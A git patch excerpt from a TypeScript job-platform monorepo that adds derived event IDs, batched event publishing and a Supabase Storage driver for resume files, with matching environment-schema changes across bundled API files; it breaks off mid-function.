this.db.insert(schema_exports.eventOutbox).values(events.slice(start, start + PUBLISH_BATCH).map(outboxRow)).onConflictDoNothing({ target: schema_exports.eventOutbox.eventId }); + } } async subscribe(options) { this.assertOpen(); @@ -85548,6 +85567,7 @@ var PostgresBroker = class { var import_amqplib = __toESM(require_channel_api(), 1); // packages/messaging/src/envelope.ts +import { createHash as createHash2 } from "node:crypto"; function createEvent(eventType, payload, trace2, occurredAt = (/* @__PURE__ */ new Date()).toISOString(), eventId = newUuid()) { eventPayloadSchema(eventType).parse(payload); return { @@ -85559,6 +85579,19 @@ function createEvent(eventType, payload, trace2, occurredAt = (/* @__PURE__ */ n }; } var DERIVED_EVENT_NAMESPACE = Buffer.from("6f1d0c3ae2b94d7f8a5c9e04b7d31a62", "hex"); +function derivedEventId(parentEventId, key) { + const hash2 = createHash2("sha1").update(DERIVED_EVENT_NAMESPACE).update(`${parentEventId}:${key}`, "utf8").digest(); + hash2[6] = (hash2[6] ?? 0) & 15 | 80; + hash2[8] = (hash2[8] ?? 0) & 63 | 128; + const hex3 = hash2.subarray(0, 16).toString("hex"); + return [ + hex3.slice(0, 8), + hex3.slice(8, 12), + hex3.slice(12, 16), + hex3.slice(16, 20), + hex3.slice(20) + ].join("-"); +} function routingKeyFor(eventType) { return eventType; } @@ -85707,11 +85740,40 @@ var RabbitMqBroker = class { function isDrainableBroker(broker2) { return typeof broker2.drain === "function"; } +function isBatchPublisher(broker2) { + return typeof broker2.publishMany === "function"; +} +var FALLBACK_PUBLISH_CONCURRENCY = 8; +async function publishAll(broker2, envelopes) { + if (envelopes.length === 0) return; + if (isBatchPublisher(broker2)) { + await broker2.publishMany([...envelopes]); + return; + } + let cursor = 0; + let failed = false; + const run = async () => { + while (!failed) { + const envelope = envelopes[cursor]; + if (envelope === void 0) return; + cursor += 1; + try { + await broker2.publish(envelope); + } catch (error62) { + failed = true; + throw error62; + } + } + }; + await Promise.all( + Array.from({ length: Math.min(FALLBACK_PUBLISH_CONCURRENCY, envelopes.length) }, run) + ); +} // packages/messaging/src/drain-auth.ts -import { createHash as createHash2, timingSafeEqual as timingSafeEqual2 } from "node:crypto"; +import { createHash as createHash3, timingSafeEqual as timingSafeEqual2 } from "node:crypto"; function digest(value) { - return createHash2("sha256").update(value, "utf8").digest(); + return createHash3("sha256").update(value, "utf8").digest(); } function isAuthorizedDrainRequest(authorization, secret) { if (secret === "") return false; @@ -86295,13 +86357,15 @@ function loadReferralsServiceEnv(source = process.env) { // services/referrals/src/worker.ts var TOP_CONTACTS_PER_COMPANY = 5; async function handleApplicationCreated(deps, envelope) { - const { job_id, user_id } = envelope.payload; + const { application_id, job_id, user_id } = envelope.payload; const job = await findJobById(deps.db, job_id); if (!job) return; const contacts2 = await topContactsForCompany(deps.db, job.company_id, TOP_CONTACTS_PER_COMPANY); - for (const contact of contacts2) { - await deps.broker.publish( - createEvent( + const occurredAt = (/* @__PURE__ */ new Date()).toISOString(); + await publishAll( + deps.broker, + contacts2.map( + (contact) => createEvent( "referral.detected", { contact_id: contact.contactId, @@ -86309,10 +86373,12 @@ async function handleApplicationCreated(deps, envelope) { user_id, relevance_score: contact.relevanceScore ?? 0 }, - childTrace(envelope.trace, { user_id }) + childTrace(envelope.trace, { user_id }), + occurredAt, + derivedEventId(envelope.event_id, `referral.detected:${contact.contactId}:${application_id}`) ) - ); - } + ) + ); } async function registerConsumers(deps) { const subscription = await deps.broker.subscribe({ From a50755f1635bcf0e6fb86809d7f920f2a41dde26 Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 27 Oct 2026 13:17:12 +0000 Subject: [PATCH 46/91] feat(storage): Supabase Storage driver for durable resume files Fetch-based driver for a private bucket (upload with upsert, authenticated download, HEAD existence, prefix delete), path-segment encoding and key validation, request timeout, and no secret/URL/upstream body in public errors. storageOptionsFromEnv wires it from env and, on a serverless runtime, moves a `local` driver to writable temp storage with an explicit warning. The profile service uses it; STORAGE_DRIVER=supabase needs SUPABASE_SECRET_KEY and SUPABASE_STORAGE_BUCKET. Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01BdqVHQRXj76uudaef6gTD1 --- .env.example | 8 +- api/admin/index.js | 12 +- api/analytics/index.js | 12 +- api/applications/index.js | 12 +- api/auth/index.js | 12 +- api/jobs/index.js | 12 +- api/learning/index.js | 12 +- api/matching/index.js | 12 +- api/outreach/index.js | 12 +- api/profile/index.js | 244 ++++++++++++++---- api/referrals/index.js | 12 +- packages/config/src/env.ts | 10 +- packages/storage/src/index.ts | 85 +++++- packages/storage/src/supabase-driver.ts | 146 +++++++++++ packages/storage/test/supabase-driver.test.ts | 190 ++++++++++++++ services/profile/src/index.ts | 8 +- 16 files changed, 726 insertions(+), 73 deletions(-) create mode 100644 packages/storage/src/supabase-driver.ts create mode 100644 packages/storage/test/supabase-driver.test.ts diff --git a/.env.example b/.env.example index 249a8eb..279773d 100644 --- a/.env.example +++ b/.env.example @@ -27,9 +27,15 @@ RABBITMQ_URL=amqp://atlas:atlas@localhost:5672 # CRON_SECRET= # --- Storage ---------------------------------------------------------------- -# driver: local | s3 +# driver: local | supabase (s3 is reserved, not implemented) +# local = files on disk (development only; ephemeral on Vercel). +# supabase = a PRIVATE Supabase Storage bucket (production): create the bucket in the +# dashboard, then set the two values below on the profile service only. STORAGE_DRIVER=local STORAGE_LOCAL_ROOT=./.atlas-storage +SUPABASE_STORAGE_BUCKET=resumes +# Server-side secret key (sb_secret_... or legacy service_role). Bypasses RLS: never commit it. +SUPABASE_SECRET_KEY= S3_BUCKET= S3_REGION=us-east-1 S3_ENDPOINT= diff --git a/api/admin/index.js b/api/admin/index.js index b0d3cd7..895972c 100644 --- a/api/admin/index.js +++ b/api/admin/index.js @@ -77119,11 +77119,19 @@ var messagingEnvSchema = external_exports.object({ MESSAGING_MAX_RETRIES: external_exports.coerce.number().int().min(0).max(20).default(5) }); var storageEnvSchema = external_exports.object({ - STORAGE_DRIVER: external_exports.enum(["local", "s3"]).default("local"), + STORAGE_DRIVER: external_exports.enum(["local", "s3", "supabase"]).default("local"), STORAGE_LOCAL_ROOT: external_exports.string().min(1).default("./.atlas-storage"), S3_BUCKET: external_exports.string().optional(), S3_REGION: external_exports.string().default("us-east-1"), - S3_ENDPOINT: external_exports.string().optional() + S3_ENDPOINT: external_exports.string().optional(), + /** + * STORAGE_DRIVER=supabase: the PRIVATE bucket to keep files in, and the + * server-side secret key (`sb_secret_…` or legacy `service_role`) used to + * reach it. The key bypasses RLS — set it only on the services that store + * files, as a Vercel environment variable, never in code or the repo. + */ + SUPABASE_STORAGE_BUCKET: external_exports.string().min(1).default("resumes"), + SUPABASE_SECRET_KEY: external_exports.string().min(1).optional() }); var supabaseAuthEnvSchema = external_exports.object({ SUPABASE_URL: external_exports.string().url("SUPABASE_URL must be a valid URL") diff --git a/api/analytics/index.js b/api/analytics/index.js index 927617c..4938b4b 100644 --- a/api/analytics/index.js +++ b/api/analytics/index.js @@ -85757,11 +85757,19 @@ var messagingEnvSchema = external_exports.object({ MESSAGING_MAX_RETRIES: external_exports.coerce.number().int().min(0).max(20).default(5) }); var storageEnvSchema = external_exports.object({ - STORAGE_DRIVER: external_exports.enum(["local", "s3"]).default("local"), + STORAGE_DRIVER: external_exports.enum(["local", "s3", "supabase"]).default("local"), STORAGE_LOCAL_ROOT: external_exports.string().min(1).default("./.atlas-storage"), S3_BUCKET: external_exports.string().optional(), S3_REGION: external_exports.string().default("us-east-1"), - S3_ENDPOINT: external_exports.string().optional() + S3_ENDPOINT: external_exports.string().optional(), + /** + * STORAGE_DRIVER=supabase: the PRIVATE bucket to keep files in, and the + * server-side secret key (`sb_secret_…` or legacy `service_role`) used to + * reach it. The key bypasses RLS — set it only on the services that store + * files, as a Vercel environment variable, never in code or the repo. + */ + SUPABASE_STORAGE_BUCKET: external_exports.string().min(1).default("resumes"), + SUPABASE_SECRET_KEY: external_exports.string().min(1).optional() }); var supabaseAuthEnvSchema = external_exports.object({ SUPABASE_URL: external_exports.string().url("SUPABASE_URL must be a valid URL") diff --git a/api/applications/index.js b/api/applications/index.js index 8a26daf..07289e2 100644 --- a/api/applications/index.js +++ b/api/applications/index.js @@ -85776,11 +85776,19 @@ var messagingEnvSchema = external_exports.object({ MESSAGING_MAX_RETRIES: external_exports.coerce.number().int().min(0).max(20).default(5) }); var storageEnvSchema = external_exports.object({ - STORAGE_DRIVER: external_exports.enum(["local", "s3"]).default("local"), + STORAGE_DRIVER: external_exports.enum(["local", "s3", "supabase"]).default("local"), STORAGE_LOCAL_ROOT: external_exports.string().min(1).default("./.atlas-storage"), S3_BUCKET: external_exports.string().optional(), S3_REGION: external_exports.string().default("us-east-1"), - S3_ENDPOINT: external_exports.string().optional() + S3_ENDPOINT: external_exports.string().optional(), + /** + * STORAGE_DRIVER=supabase: the PRIVATE bucket to keep files in, and the + * server-side secret key (`sb_secret_…` or legacy `service_role`) used to + * reach it. The key bypasses RLS — set it only on the services that store + * files, as a Vercel environment variable, never in code or the repo. + */ + SUPABASE_STORAGE_BUCKET: external_exports.string().min(1).default("resumes"), + SUPABASE_SECRET_KEY: external_exports.string().min(1).optional() }); var supabaseAuthEnvSchema = external_exports.object({ SUPABASE_URL: external_exports.string().url("SUPABASE_URL must be a valid URL") diff --git a/api/auth/index.js b/api/auth/index.js index da4bdbf..255fae0 100644 --- a/api/auth/index.js +++ b/api/auth/index.js @@ -77086,11 +77086,19 @@ var messagingEnvSchema = external_exports.object({ MESSAGING_MAX_RETRIES: external_exports.coerce.number().int().min(0).max(20).default(5) }); var storageEnvSchema = external_exports.object({ - STORAGE_DRIVER: external_exports.enum(["local", "s3"]).default("local"), + STORAGE_DRIVER: external_exports.enum(["local", "s3", "supabase"]).default("local"), STORAGE_LOCAL_ROOT: external_exports.string().min(1).default("./.atlas-storage"), S3_BUCKET: external_exports.string().optional(), S3_REGION: external_exports.string().default("us-east-1"), - S3_ENDPOINT: external_exports.string().optional() + S3_ENDPOINT: external_exports.string().optional(), + /** + * STORAGE_DRIVER=supabase: the PRIVATE bucket to keep files in, and the + * server-side secret key (`sb_secret_…` or legacy `service_role`) used to + * reach it. The key bypasses RLS — set it only on the services that store + * files, as a Vercel environment variable, never in code or the repo. + */ + SUPABASE_STORAGE_BUCKET: external_exports.string().min(1).default("resumes"), + SUPABASE_SECRET_KEY: external_exports.string().min(1).optional() }); var supabaseAuthEnvSchema = external_exports.object({ SUPABASE_URL: external_exports.string().url("SUPABASE_URL must be a valid URL") diff --git a/api/jobs/index.js b/api/jobs/index.js index e569e24..192b430 100644 --- a/api/jobs/index.js +++ b/api/jobs/index.js @@ -85793,11 +85793,19 @@ var messagingEnvSchema = external_exports.object({ MESSAGING_MAX_RETRIES: external_exports.coerce.number().int().min(0).max(20).default(5) }); var storageEnvSchema = external_exports.object({ - STORAGE_DRIVER: external_exports.enum(["local", "s3"]).default("local"), + STORAGE_DRIVER: external_exports.enum(["local", "s3", "supabase"]).default("local"), STORAGE_LOCAL_ROOT: external_exports.string().min(1).default("./.atlas-storage"), S3_BUCKET: external_exports.string().optional(), S3_REGION: external_exports.string().default("us-east-1"), - S3_ENDPOINT: external_exports.string().optional() + S3_ENDPOINT: external_exports.string().optional(), + /** + * STORAGE_DRIVER=supabase: the PRIVATE bucket to keep files in, and the + * server-side secret key (`sb_secret_…` or legacy `service_role`) used to + * reach it. The key bypasses RLS — set it only on the services that store + * files, as a Vercel environment variable, never in code or the repo. + */ + SUPABASE_STORAGE_BUCKET: external_exports.string().min(1).default("resumes"), + SUPABASE_SECRET_KEY: external_exports.string().min(1).optional() }); var supabaseAuthEnvSchema = external_exports.object({ SUPABASE_URL: external_exports.string().url("SUPABASE_URL must be a valid URL") diff --git a/api/learning/index.js b/api/learning/index.js index b526fd5..a627cac 100644 --- a/api/learning/index.js +++ b/api/learning/index.js @@ -85833,11 +85833,19 @@ var messagingEnvSchema = external_exports.object({ MESSAGING_MAX_RETRIES: external_exports.coerce.number().int().min(0).max(20).default(5) }); var storageEnvSchema = external_exports.object({ - STORAGE_DRIVER: external_exports.enum(["local", "s3"]).default("local"), + STORAGE_DRIVER: external_exports.enum(["local", "s3", "supabase"]).default("local"), STORAGE_LOCAL_ROOT: external_exports.string().min(1).default("./.atlas-storage"), S3_BUCKET: external_exports.string().optional(), S3_REGION: external_exports.string().default("us-east-1"), - S3_ENDPOINT: external_exports.string().optional() + S3_ENDPOINT: external_exports.string().optional(), + /** + * STORAGE_DRIVER=supabase: the PRIVATE bucket to keep files in, and the + * server-side secret key (`sb_secret_…` or legacy `service_role`) used to + * reach it. The key bypasses RLS — set it only on the services that store + * files, as a Vercel environment variable, never in code or the repo. + */ + SUPABASE_STORAGE_BUCKET: external_exports.string().min(1).default("resumes"), + SUPABASE_SECRET_KEY: external_exports.string().min(1).optional() }); var supabaseAuthEnvSchema = external_exports.object({ SUPABASE_URL: external_exports.string().url("SUPABASE_URL must be a valid URL") diff --git a/api/matching/index.js b/api/matching/index.js index d234784..fc7d2b1 100644 --- a/api/matching/index.js +++ b/api/matching/index.js @@ -85000,11 +85000,19 @@ var messagingEnvSchema = external_exports.object({ MESSAGING_MAX_RETRIES: external_exports.coerce.number().int().min(0).max(20).default(5) }); var storageEnvSchema = external_exports.object({ - STORAGE_DRIVER: external_exports.enum(["local", "s3"]).default("local"), + STORAGE_DRIVER: external_exports.enum(["local", "s3", "supabase"]).default("local"), STORAGE_LOCAL_ROOT: external_exports.string().min(1).default("./.atlas-storage"), S3_BUCKET: external_exports.string().optional(), S3_REGION: external_exports.string().default("us-east-1"), - S3_ENDPOINT: external_exports.string().optional() + S3_ENDPOINT: external_exports.string().optional(), + /** + * STORAGE_DRIVER=supabase: the PRIVATE bucket to keep files in, and the + * server-side secret key (`sb_secret_…` or legacy `service_role`) used to + * reach it. The key bypasses RLS — set it only on the services that store + * files, as a Vercel environment variable, never in code or the repo. + */ + SUPABASE_STORAGE_BUCKET: external_exports.string().min(1).default("resumes"), + SUPABASE_SECRET_KEY: external_exports.string().min(1).optional() }); var supabaseAuthEnvSchema = external_exports.object({ SUPABASE_URL: external_exports.string().url("SUPABASE_URL must be a valid URL") diff --git a/api/outreach/index.js b/api/outreach/index.js index 43a8a79..f75753e 100644 --- a/api/outreach/index.js +++ b/api/outreach/index.js @@ -85775,11 +85775,19 @@ var messagingEnvSchema = external_exports.object({ MESSAGING_MAX_RETRIES: external_exports.coerce.number().int().min(0).max(20).default(5) }); var storageEnvSchema = external_exports.object({ - STORAGE_DRIVER: external_exports.enum(["local", "s3"]).default("local"), + STORAGE_DRIVER: external_exports.enum(["local", "s3", "supabase"]).default("local"), STORAGE_LOCAL_ROOT: external_exports.string().min(1).default("./.atlas-storage"), S3_BUCKET: external_exports.string().optional(), S3_REGION: external_exports.string().default("us-east-1"), - S3_ENDPOINT: external_exports.string().optional() + S3_ENDPOINT: external_exports.string().optional(), + /** + * STORAGE_DRIVER=supabase: the PRIVATE bucket to keep files in, and the + * server-side secret key (`sb_secret_…` or legacy `service_role`) used to + * reach it. The key bypasses RLS — set it only on the services that store + * files, as a Vercel environment variable, never in code or the repo. + */ + SUPABASE_STORAGE_BUCKET: external_exports.string().min(1).default("resumes"), + SUPABASE_SECRET_KEY: external_exports.string().min(1).optional() }); var supabaseAuthEnvSchema = external_exports.object({ SUPABASE_URL: external_exports.string().url("SUPABASE_URL must be a valid URL") diff --git a/api/profile/index.js b/api/profile/index.js index 32c7dc3..ada9024 100644 --- a/api/profile/index.js +++ b/api/profile/index.js @@ -2028,7 +2028,7 @@ var require_thread_stream = __commonJS({ var { version: version4 } = require_package(); var { EventEmitter } = __require("events"); var { Worker: Worker2 } = __require("worker_threads"); - var { join } = __require("path"); + var { join: join2 } = __require("path"); var { pathToFileURL } = __require("url"); var { wait } = require_wait(); var { @@ -2079,7 +2079,7 @@ var require_thread_stream = __commonJS({ function createWorker(stream, opts) { const { filename, workerData } = opts; const bundlerOverrides = "__bundlerPathsOverrides" in globalThis ? globalThis.__bundlerPathsOverrides : {}; - const toExecute = bundlerOverrides["thread-stream-worker"] || join(__dirname, "lib", "worker.js"); + const toExecute = bundlerOverrides["thread-stream-worker"] || join2(__dirname, "lib", "worker.js"); const worker = new Worker2(toExecute, { ...opts.workerOpts, name: opts.workerOpts?.name || "thread-stream", @@ -2547,7 +2547,7 @@ var require_transport = __commonJS({ var { createRequire } = __require("module"); var { existsSync } = __require("node:fs"); var getCallers = require_caller(); - var { join, isAbsolute, sep: sep2 } = __require("node:path"); + var { join: join2, isAbsolute, sep: sep2 } = __require("node:path"); var { fileURLToPath } = __require("node:url"); var sleep = require_atomic_sleep(); var onExit = require_on_exit_leak_free(); @@ -2700,7 +2700,7 @@ var require_transport = __commonJS({ throw new Error("only one of target or targets can be specified"); } if (targets) { - target = bundlerOverrides["pino-worker"] || join(__dirname, "worker.js"); + target = bundlerOverrides["pino-worker"] || join2(__dirname, "worker.js"); options.targets = targets.filter((dest) => dest.target).map((dest) => { return { ...dest, @@ -2718,7 +2718,7 @@ var require_transport = __commonJS({ }); }); } else if (pipeline) { - target = bundlerOverrides["pino-worker"] || join(__dirname, "worker.js"); + target = bundlerOverrides["pino-worker"] || join2(__dirname, "worker.js"); options.pipelines = [pipeline.map((dest) => { return { ...dest, @@ -2741,7 +2741,7 @@ var require_transport = __commonJS({ return origin; } if (origin === "pino/file") { - return join(__dirname, "..", "file.js"); + return join2(__dirname, "..", "file.js"); } let fixTarget2; for (const filePath of callers) { @@ -3721,7 +3721,7 @@ var require_safe_stable_stringify = __commonJS({ return circularValue; } let res = ""; - let join = ","; + let join2 = ","; const originalIndentation = indentation; if (Array.isArray(value)) { if (value.length === 0) { @@ -3735,7 +3735,7 @@ var require_safe_stable_stringify = __commonJS({ indentation += spacer; res += ` ${indentation}`; - join = `, + join2 = `, ${indentation}`; } const maximumValuesToStringify = Math.min(value.length, maximumBreadth); @@ -3743,13 +3743,13 @@ ${indentation}`; for (; i < maximumValuesToStringify - 1; i++) { const tmp2 = stringifyFnReplacer(String(i), value, stack, replacer, spacer, indentation); res += tmp2 !== void 0 ? tmp2 : "null"; - res += join; + res += join2; } const tmp = stringifyFnReplacer(String(i), value, stack, replacer, spacer, indentation); res += tmp !== void 0 ? tmp : "null"; if (value.length - 1 > maximumBreadth) { const removedKeys = value.length - maximumBreadth - 1; - res += `${join}"... ${getItemCount(removedKeys)} not stringified"`; + res += `${join2}"... ${getItemCount(removedKeys)} not stringified"`; } if (spacer !== "") { res += ` @@ -3770,7 +3770,7 @@ ${originalIndentation}`; let separator = ""; if (spacer !== "") { indentation += spacer; - join = `, + join2 = `, ${indentation}`; whitespace = " "; } @@ -3784,13 +3784,13 @@ ${indentation}`; const tmp = stringifyFnReplacer(key2, value, stack, replacer, spacer, indentation); if (tmp !== void 0) { res += `${separator}${strEscape(key2)}:${whitespace}${tmp}`; - separator = join; + separator = join2; } } if (keyLength > maximumBreadth) { const removedKeys = keyLength - maximumBreadth; res += `${separator}"...":${whitespace}"${getItemCount(removedKeys)} not stringified"`; - separator = join; + separator = join2; } if (spacer !== "" && separator.length > 1) { res = ` @@ -3831,7 +3831,7 @@ ${originalIndentation}`; } const originalIndentation = indentation; let res = ""; - let join = ","; + let join2 = ","; if (Array.isArray(value)) { if (value.length === 0) { return "[]"; @@ -3844,7 +3844,7 @@ ${originalIndentation}`; indentation += spacer; res += ` ${indentation}`; - join = `, + join2 = `, ${indentation}`; } const maximumValuesToStringify = Math.min(value.length, maximumBreadth); @@ -3852,13 +3852,13 @@ ${indentation}`; for (; i < maximumValuesToStringify - 1; i++) { const tmp2 = stringifyArrayReplacer(String(i), value[i], stack, replacer, spacer, indentation); res += tmp2 !== void 0 ? tmp2 : "null"; - res += join; + res += join2; } const tmp = stringifyArrayReplacer(String(i), value[i], stack, replacer, spacer, indentation); res += tmp !== void 0 ? tmp : "null"; if (value.length - 1 > maximumBreadth) { const removedKeys = value.length - maximumBreadth - 1; - res += `${join}"... ${getItemCount(removedKeys)} not stringified"`; + res += `${join2}"... ${getItemCount(removedKeys)} not stringified"`; } if (spacer !== "") { res += ` @@ -3871,7 +3871,7 @@ ${originalIndentation}`; let whitespace = ""; if (spacer !== "") { indentation += spacer; - join = `, + join2 = `, ${indentation}`; whitespace = " "; } @@ -3880,7 +3880,7 @@ ${indentation}`; const tmp = stringifyArrayReplacer(key2, value[key2], stack, replacer, spacer, indentation); if (tmp !== void 0) { res += `${separator}${strEscape(key2)}:${whitespace}${tmp}`; - separator = join; + separator = join2; } } if (spacer !== "" && separator.length > 1) { @@ -3938,20 +3938,20 @@ ${originalIndentation}`; indentation += spacer; let res2 = ` ${indentation}`; - const join2 = `, + const join3 = `, ${indentation}`; const maximumValuesToStringify = Math.min(value.length, maximumBreadth); let i = 0; for (; i < maximumValuesToStringify - 1; i++) { const tmp2 = stringifyIndent(String(i), value[i], stack, spacer, indentation); res2 += tmp2 !== void 0 ? tmp2 : "null"; - res2 += join2; + res2 += join3; } const tmp = stringifyIndent(String(i), value[i], stack, spacer, indentation); res2 += tmp !== void 0 ? tmp : "null"; if (value.length - 1 > maximumBreadth) { const removedKeys = value.length - maximumBreadth - 1; - res2 += `${join2}"... ${getItemCount(removedKeys)} not stringified"`; + res2 += `${join3}"... ${getItemCount(removedKeys)} not stringified"`; } res2 += ` ${originalIndentation}`; @@ -3967,16 +3967,16 @@ ${originalIndentation}`; return '"[Object]"'; } indentation += spacer; - const join = `, + const join2 = `, ${indentation}`; let res = ""; let separator = ""; let maximumPropertiesToStringify = Math.min(keyLength, maximumBreadth); if (isTypedArrayWithEntries(value)) { - res += stringifyTypedArray(value, join, maximumBreadth); + res += stringifyTypedArray(value, join2, maximumBreadth); keys2 = keys2.slice(value.length); maximumPropertiesToStringify -= value.length; - separator = join; + separator = join2; } if (deterministic) { keys2 = sort(keys2, comparator); @@ -3987,13 +3987,13 @@ ${indentation}`; const tmp = stringifyIndent(key2, value[key2], stack, spacer, indentation); if (tmp !== void 0) { res += `${separator}${strEscape(key2)}: ${tmp}`; - separator = join; + separator = join2; } } if (keyLength > maximumBreadth) { const removedKeys = keyLength - maximumBreadth; res += `${separator}"...": "${getItemCount(removedKeys)} not stringified"`; - separator = join; + separator = join2; } if (separator !== "") { res = ` @@ -16617,7 +16617,7 @@ var require_multipart2 = __commonJS({ parts = this.parts(options2); } this.savedRequestFiles = []; - const tmpdir = options2?.tmpdir || os2.tmpdir(); + const tmpdir2 = options2?.tmpdir || os2.tmpdir(); this.tmpUploads = []; let i = 0; let target; @@ -16627,7 +16627,7 @@ var require_multipart2 = __commonJS({ if (!part.file) { continue; } - const filepath = path.join(tmpdir, generateId() + path.extname(part.filename || "file" + i++)); + const filepath = path.join(tmpdir2, generateId() + path.extname(part.filename || "file" + i++)); target = createWriteStream(filepath); this.tmpUploads.push(filepath); await pump(part.file, target); @@ -65707,7 +65707,7 @@ var require_BufferList = __commonJS({ this.head = this.tail = null; this.length = 0; }; - BufferList.prototype.join = function join(s) { + BufferList.prototype.join = function join2(s) { if (this.length === 0) return ""; var p = this.head; var ret2 = "" + p.data; @@ -87654,10 +87654,10 @@ var require_style_reader = __commonJS({ if (parseResult.isSuccess()) { return results.success(parseResult.value()); } else { - return new results.Result(null, [results.warning(describeFailure(string4, parseResult))]); + return new results.Result(null, [results.warning(describeFailure2(string4, parseResult))]); } } - function describeFailure(input2, parseResult) { + function describeFailure2(input2, parseResult) { return "Did not understand this style mapping, so ignored it: " + input2 + "\n" + parseResult.errors().map(describeError).join("\n"); } function describeError(error62) { @@ -112553,7 +112553,7 @@ function sql(strings, ...params) { return new SQL([new StringChunk(str)]); } sql22.raw = raw; - function join(chunks, separator) { + function join2(chunks, separator) { const result2 = []; for (const [i, chunk2] of chunks.entries()) { if (i > 0 && separator !== void 0) { @@ -112563,7 +112563,7 @@ function sql(strings, ...params) { } return new SQL(result2); } - sql22.join = join; + sql22.join = join2; function identifier(value) { return new Name(value); } @@ -116246,7 +116246,7 @@ var PgSelectQueryBuilderBase = class extends TypedQueryBuilder { const baseTableName = this.tableName; const tableName = getTableLikeName(table2); for (const item of extractUsedTable(table2)) this.usedTables.add(item); - if (typeof tableName === "string" && this.config.joins?.some((join) => join.alias === tableName)) { + if (typeof tableName === "string" && this.config.joins?.some((join2) => join2.alias === tableName)) { throw new Error(`Alias "${tableName}" is already used in this query`); } if (!this.isPartialSelect) { @@ -117467,7 +117467,7 @@ var PgUpdateBase = class extends QueryPromise { createJoin(joinType) { return (table2, on) => { const tableName = getTableLikeName(table2); - if (typeof tableName === "string" && this.config.joins.some((join) => join.alias === tableName)) { + if (typeof tableName === "string" && this.config.joins.some((join2) => join2.alias === tableName)) { throw new Error(`Alias "${tableName}" is already used in this query`); } if (typeof on === "function") { @@ -117563,10 +117563,10 @@ var PgUpdateBase = class extends QueryPromise { const fromFields = this.getTableLikeFields(this.config.from); fields[tableName] = fromFields; } - for (const join of this.config.joins) { - const tableName2 = getTableLikeName(join.table); - if (typeof tableName2 === "string" && !is(join.table, SQL)) { - const fromFields = this.getTableLikeFields(join.table); + for (const join2 of this.config.joins) { + const tableName2 = getTableLikeName(join2.table); + if (typeof tableName2 === "string" && !is(join2.table, SQL)) { + const fromFields = this.getTableLikeFields(join2.table); fields[tableName2] = fromFields; } } @@ -119821,6 +119821,10 @@ function createBroker(options) { }); } +// packages/storage/src/index.ts +import { tmpdir } from "node:os"; +import { join } from "node:path"; + // packages/storage/src/local-driver.ts import { mkdir, readFile, rm, stat, writeFile } from "node:fs/promises"; import { dirname, resolve, sep } from "node:path"; @@ -119872,12 +119876,148 @@ function createLocalDriver(options) { }; } +// packages/storage/src/supabase-driver.ts +var DEFAULT_TIMEOUT_MS = 2e4; +var MAX_ERROR_BODY_CHARS = 300; +function toObjectPath(key) { + if (!key || key.includes("\0") || key.includes("\\") || key.startsWith("/") || key.endsWith("/")) { + throw new AppError("VALIDATION_ERROR", `Invalid storage key: "${key}"`); + } + const segments = key.split("/"); + if (segments.some((segment) => segment === "" || segment === "." || segment === "..")) { + throw new AppError("VALIDATION_ERROR", `Invalid storage key: "${key}"`); + } + return segments.map(encodeURIComponent).join("/"); +} +async function describeFailure(response) { + let body = ""; + try { + body = (await response.text()).slice(0, MAX_ERROR_BODY_CHARS); + } catch { + } + return body ? `${response.status} ${body}` : String(response.status); +} +function createSupabaseDriver(options) { + const base = `${options.url.replace(/\/+$/, "")}/storage/v1/object`; + const bucket = encodeURIComponent(options.bucket); + const doFetch = options.fetch ?? fetch; + const timeoutMs = options.timeoutMs ?? DEFAULT_TIMEOUT_MS; + const authHeaders = { authorization: `Bearer ${options.secretKey}`, apikey: options.secretKey }; + async function request(url2, init) { + try { + return await doFetch(url2, { ...init, signal: AbortSignal.timeout(timeoutMs) }); + } catch (cause) { + throw new AppError("UPSTREAM_UNAVAILABLE", "File storage is temporarily unavailable", { cause }); + } + } + async function isMissing(response) { + if (response.status === 404) return true; + if (response.status !== 400) return false; + const body = await response.clone().text().catch(() => ""); + return /not[_ ]found/i.test(body); + } + return { + async put(key, data, putOptions) { + const path = toObjectPath(key); + const response = await request(`${base}/${bucket}/${path}`, { + method: "POST", + headers: { + ...authHeaders, + "content-type": putOptions?.contentType ?? "application/octet-stream", + "x-upsert": "true" + }, + body: new Uint8Array(data) + }); + if (!response.ok) { + throw new AppError("UPSTREAM_UNAVAILABLE", "File storage rejected the upload", { + cause: new Error(`Supabase Storage upload failed: ${await describeFailure(response)}`) + }); + } + return { key, byteSize: data.length }; + }, + async get(key) { + const path = toObjectPath(key); + const response = await request(`${base}/${bucket}/${path}`, { method: "GET", headers: authHeaders }); + if (await isMissing(response)) { + throw new AppError("NOT_FOUND", `No stored object for key "${key}"`); + } + if (!response.ok) { + throw new AppError("UPSTREAM_UNAVAILABLE", "File storage could not read the file", { + cause: new Error(`Supabase Storage GET failed: ${await describeFailure(response)}`) + }); + } + return Buffer.from(await response.arrayBuffer()); + }, + async delete(key) { + toObjectPath(key); + const response = await request(`${base}/${bucket}`, { + method: "DELETE", + headers: { ...authHeaders, "content-type": "application/json" }, + body: JSON.stringify({ prefixes: [key] }) + }); + if (!response.ok && !await isMissing(response)) { + throw new AppError("UPSTREAM_UNAVAILABLE", "File storage could not delete the file", { + cause: new Error(`Supabase Storage DELETE failed: ${await describeFailure(response)}`) + }); + } + }, + async exists(key) { + const path = toObjectPath(key); + const response = await request(`${base}/${bucket}/${path}`, { method: "HEAD", headers: authHeaders }); + if (response.ok) return true; + if (response.status === 404 || response.status === 400) return false; + throw new AppError("UPSTREAM_UNAVAILABLE", "File storage could not check the file", { + cause: new Error(`Supabase Storage HEAD failed: ${response.status}`) + }); + } + }; +} + // packages/storage/src/index.ts function createStorage(options) { if (options.driver === "local") { return createLocalDriver({ root: options.localRoot ?? "./.atlas-storage" }); } - throw new Error("Storage driver 's3' is not implemented yet \u2014 set STORAGE_DRIVER=local."); + if (options.driver === "supabase") { + if (!options.supabaseUrl || !options.supabaseSecretKey || !options.supabaseBucket) { + throw new Error( + "Storage driver 'supabase' needs SUPABASE_URL, SUPABASE_SECRET_KEY and SUPABASE_STORAGE_BUCKET." + ); + } + return createSupabaseDriver({ + url: options.supabaseUrl, + secretKey: options.supabaseSecretKey, + bucket: options.supabaseBucket + }); + } + throw new Error("Storage driver 's3' is not implemented yet \u2014 set STORAGE_DRIVER=supabase (or local for development)."); +} +function storageOptionsFromEnv(env3, runtime = {}) { + if (env3.STORAGE_DRIVER === "supabase") { + return { + options: { + driver: "supabase", + supabaseUrl: env3.SUPABASE_URL, + supabaseSecretKey: env3.SUPABASE_SECRET_KEY, + supabaseBucket: env3.SUPABASE_STORAGE_BUCKET + } + }; + } + if 